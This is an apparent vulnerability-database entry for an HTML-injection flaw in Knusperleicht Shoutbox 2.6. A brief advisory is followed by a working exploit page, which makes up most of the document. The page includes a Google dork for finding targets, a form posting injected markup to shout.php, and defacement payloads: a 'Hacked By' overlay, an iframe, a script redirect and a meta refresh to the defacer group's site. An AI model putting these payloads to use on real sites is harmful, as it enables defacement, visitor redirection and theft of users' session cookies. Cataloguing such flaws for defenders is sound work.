Knusperleicht Shoutbox 2.6 Shout.php HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Knusperleicht Shoutbox 2.6 HTML Injection Vulnerabilit


                                                source: http://www.securityfocus.com/bid/21637/info

Knusperleicht Shoutbox is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Version 2.6 is vulnerable; other versions may also be affected.

&#60;html&#62; &#60;head&#62;&#60;title&#62;Cyber-Sabotage.Org&#60;/title&#62;&#60;/head&#62; &#60;body&#62; &#60;p align=&#34;center&#34;&#62;&#60;b&#62;IMHOT3B &#60;/b&#62;&#60;/p&#62; &#60;p align=&#34;center&#34;&#62;&#60;b&#62;Knusperleicht Shoutbox 2.6 Html .njaction Bug&#60;/b&#62;&#60;/p&#62; &#60;p align=&#34;center&#34;&#62;&#60;b&#62;&#60;font size=&#34;4&#34;&#62;Cyber-Sabotage.Org&#60;/font&#62;&#60;/b&#62;&#60;br&#62; &#60;/p&#62; &#60;p align=&#34;center&#34;&#62; &#60;a href=&#34; http://www.google.com.tr/search?hl=tr&q=intitle:&#34;Knusperleicht+Shoutbox+2.6&#34;&meta =&#34;&#62; For Searching Click Here Please&#60;/a&#62;&#60;br&#62; &#60;/p&#62; &#60;form name=&#34;form1&#34; method=&#34;post&#34; action=&#34;http://targer/shout.php&#34;&#62; Nick Name | Takma Ad:&#60;p&#62; &#60;input type=&#34;text&#34; name=&#34;sbNick&#34; size=&#34;127&#34; value=&#34;&#60;/table&#62;&#60;h1&#62;&#60;font color=#ff0000&#62; Cyber-Sabotage.Org | CSDT ( Cyber Sabotage and Defacer ) TEAM &#60;/font&#62;&#60;/h1&#62;&#34; maxlength=&#34;900&#34;&#62;&#60;br&#62; &#60;input type=&#34;hidden&#34; name=&#34;AdminNick&#34; value=&#34;si&#34;&#62;&#60;br&#62; Message | Mesaj:&#60;br&#62; &#60;input type=&#34;text&#34; name=&#34;sbKommentar&#34; size=&#34;127&#34; value=&#34;&#60;/table&#62;&#60;h1&#62;&#60;font color=#ff0000&#62; Cyber-Sabotage.Org | CSDT ( Cyber Sabotage and Defacer ) TEAM &#60;/font&#62;&#60;/h1&#62;&#34;&#62;&#60;br&#62; &#60;input type=&#34;submit&#34; name=&#34;sbAbschicken&#34; value=&#34;Send | Gonder&#34; class=&#34;form&#34;&#62;&#60;br&#62; &#60;/p&#62; &#60;/form&#62; &#60;p&#62;&#60;b&#62;Alternatif Html Kodlar.:&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;h1&#62;Cyber-Sabotage.Org&#60;/h1&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;font color=&#34;#FFFFFF&#34;&#62;&#60;div style=left:0px;top:0px;width:1000px;height:8000px;background-color:#000000;position:absolute&#62;&#60;h1&#62;Hacked By IMHOT3B&#60;br&#62;Cyber-Sabotage.Org&lt ;br&#62;&#60;/div&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;iframe src=&#34;http://www.cyber-sabotage.org&#34; borders=&#34;0&#34;&#62;&#60;/iframe&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;script&#62;location.href=&#34;http://www.cyber-sabotage.org&quot ;;&#60;/script&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;meta http-equiv=&#34;Refresh&#34; content=&#34;0;url= http://www.cyber-sabotage.org&#34;&#62;&#60;/b&#62;&#60;/p&#62; &#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1